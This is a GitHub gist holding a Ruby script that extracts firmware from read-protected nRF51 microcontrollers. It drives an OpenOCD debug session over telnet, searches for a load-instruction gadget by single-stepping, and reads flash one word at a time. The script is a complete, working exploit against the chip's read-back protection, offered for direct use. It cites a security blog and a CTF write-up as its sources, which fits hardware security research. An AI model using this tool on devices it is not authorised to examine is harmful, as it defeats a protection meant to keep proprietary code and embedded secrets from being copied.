-
-
Save parasquid/8613d5d9b6a614eae6f65e2497f452af to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# Dump firmware from nrf51 and maybe other cortex-m devices | |
# The script thats missing from http://blog.includesecurity.com/2015/11/NordicSemi-ARM-SoC-Firmware-dumping-technique.html | |
# Also inspired by https://tasteless.eu/post/2015/12/32c3ctf-emb400/ | |
# Requires seperate instace gdb server already running, for my jlink I use | |
# openocd -f interface/jlink.cfg -c "adapter_khz 2000; transport select swd;" -f target/nrf51.cfg | |
# uicr and ficr are always accessible so you might want to dump those externally and compare? | |
# openocd -f interface/jlink.cfg -c "adapter_khz 2000; transport select swd; set WORKAREASIZE 0;" -f target/nrf51.cfg -c "init; reset halt; flash read_bank 1 uicr-normal.bin 0x0 0x100; exit" | |
# ./dump_nrf51.rb -ouicr.bin -b0x10001000 -e0x10001100 | |
# cmp uicr.bin uicr-normal.bin | |
require 'net/telnet' | |
require 'optparse' | |
require 'pp' | |
class OptparseExample | |
Version = '0.0.1' | |
class ScriptOptions | |
attr_accessor :outfile, :register, :host, :port, | |
:gadget, :start, :end, :force | |
def initialize | |
self.outfile = nil | |
self.register = nil | |
self.host = "localhost" | |
self.port = "4444" | |
self.gadget = nil | |
self.start = 0x0 | |
self.end = 0x40000 | |
self.force = false | |
end | |
def define_options(parser) | |
parser.banner = "Usage: dump.rb [options]" | |
parser.separator "" | |
parser.separator "Specific options:" | |
# add additional options | |
parser.on("-o", "--outfile [FILENAME]", String, "Out filename (required)") do |input| | |
self.outfile = input | |
end | |
parser.on("-d", "--debugger [HOST]", String, "Debugger host (default localhost)") do |input| | |
self.host = input | |
end | |
parser.on("-p", "--port [PORT]", String, "Debugger port (default 4444)") do |input| | |
self.port = input | |
end | |
parser.on("-r", "--register [REGISTER]", String, "Register to operate on (required if gadget provided)") do |input| | |
self.register = input | |
end | |
parser.on("-g", "--gadget [HEX]", String, | |
"Gadget address (required if register provided") do |input| | |
self.gadget = input.hex | |
end | |
parser.on("-b", "--begin [HEX]", String, | |
"Start register address (default 0x0)") do |input| | |
self.start = input.hex | |
end | |
parser.on("-e", "--end [HEX]", String, | |
"End register address (default 0x00040000)") do |input| | |
self.end = input.hex | |
end | |
parser.on("-f", "--force", "Force even if nrf51 isn't write protected") do |input| | |
self.force = true | |
end | |
parser.separator "" | |
parser.separator "Common options:" | |
# No argument, shows at tail. This will print an options summary. | |
# Try it and see! | |
parser.on_tail("-h", "--help", "Show this message") do | |
puts parser | |
exit | |
end | |
# Another typical switch to print the version. | |
parser.on_tail("-v", "--version", "Show version") do | |
puts Version | |
exit | |
end | |
end | |
end | |
# | |
# Return a structure describing the options. | |
# | |
def parse(args) | |
# The options specified on the command line will be collected in | |
# *options*. | |
@options = ScriptOptions.new | |
@args = OptionParser.new do |parser| | |
@options.define_options(parser) | |
parser.parse!(args) | |
fail "Command line option outfile -o not provided, use -h to see options" unless options.outfile | |
end | |
@options | |
end | |
attr_reader :parser, :options | |
end # class OptparseExample | |
def check_assembly(instruction) | |
one = instruction & 0xff | |
two = instruction >> 8 & 0xff | |
three = instruction >> 16 & 0xff | |
four = instruction >> 24 & 0xff | |
value = `printf "\\x#{one.to_s(16)}\\x#{two.to_s(16)}\\x#{three.to_s(16)}\\x#{four.to_s(16)}" > /tmp/armcode` | |
value = `arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm /tmp/armcode` | |
value = value.tr('[','') | |
value = value.tr(']','') | |
value = value.tr(',','') | |
for x in value.split("\n") | |
if x.include? "ldr" | |
if x.include? "#0" | |
y = x.split(" ") | |
if y.length == 6 && y[3] == y[4] | |
return y[3] | |
end | |
end | |
end | |
end | |
return nil | |
end | |
def check_registers(debug) | |
response = debug.cmd("reg") | |
# puts response | |
registers = response.scan(/: 0x([0-9a-fA-F]{8})/).flatten | |
# puts registers | |
#check registers for ldr instruction | |
((0)...(13)).each do |i| | |
value = registers[i].to_i 16 | |
# puts "r#{i} is 0x#{value.to_s(16)}" | |
check = check_assembly(value) | |
if check | |
return check | |
end | |
end | |
return nil | |
end | |
#set registers to a value | |
def set_registers(debug, value) | |
((0)...(12)).each do |i| | |
# puts "setting r#{i} 0x#{value.to_s}" | |
debug.cmd("reg r#{i} 0x#{value.to_s(16)}") | |
end | |
# puts "setting sp 0x#{value.to_s}" | |
debug.cmd("reg sp 0x#{value.to_s(16)}") | |
end | |
def get_register(debug, register) | |
response = debug.cmd("reg #{register}") | |
# puts response | |
return response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16 | |
end | |
def get_gadget(debug) | |
debug.cmd("reset halt") | |
pc = get_register(debug, "pc") | |
register = nil | |
#arbitrary end | |
((0)...(10000)).each do |i| | |
debug.cmd("reset halt") | |
# puts "pc: 0x#{pc.to_s(16)}" | |
debug.cmd("reg pc 0x#{pc.to_s(16)}") | |
# puts "set_registers" | |
set_registers(debug, pc) | |
# puts "step" | |
debug.cmd("step") | |
# puts "check_registers" | |
register = check_registers(debug) | |
if register | |
# puts "found #{register}" | |
break | |
end | |
pc = pc+2 | |
end | |
return pc, register | |
end | |
def dump(debug, options) | |
dumpfile = File.open(options.outfile, "w") | |
puts "address value" | |
((options.start/4)...(options.end)/4).each do |i| | |
address = i * 4 | |
debug.cmd("reset halt") | |
debug.cmd("reg pc 0x#{options.gadget.to_s 16}") | |
debug.cmd("reg #{options.register} 0x#{address.to_s 16}") | |
debug.cmd("step") | |
response = debug.cmd("reg #{options.register}") | |
value = response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16 | |
dumpfile.write([value].pack("V")) | |
puts "0x%08x 0x%08x" % [address, value] | |
end | |
dumpfile.close | |
end | |
def check_protect(debug) | |
response = debug.cmd("mdw 0x10001004") | |
return (response.include? "ffff00ff" or response.include? "ffffff00") | |
end | |
example = OptparseExample.new | |
options = example.parse(ARGV) | |
debug = Net::Telnet::new("Host" => options.host, | |
"Port" => options.port) | |
if not check_protect(debug) and not options.force | |
fail "Chip isn't protected, you can read back firmware much faster than this, or force with -f" | |
end | |
if not options.gadget or not options.register | |
puts "Gadget and register not provided, searching" | |
gadget, register = get_gadget(debug) | |
# puts gadget, register | |
if register == nil | |
fail "Gadget not found with inbuilt algorithm, provide -g and -r" | |
else | |
puts "Found gadget 0x#{gadget.to_s 16} at #{register}" | |
options.gadget = gadget | |
options.register = register | |
end | |
end | |
puts "Dumping firmware from #{options.start.to_s 16} to #{options.end.to_s 16} to #{options.outfile}" | |
dump(debug, options) | |
debug.close |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment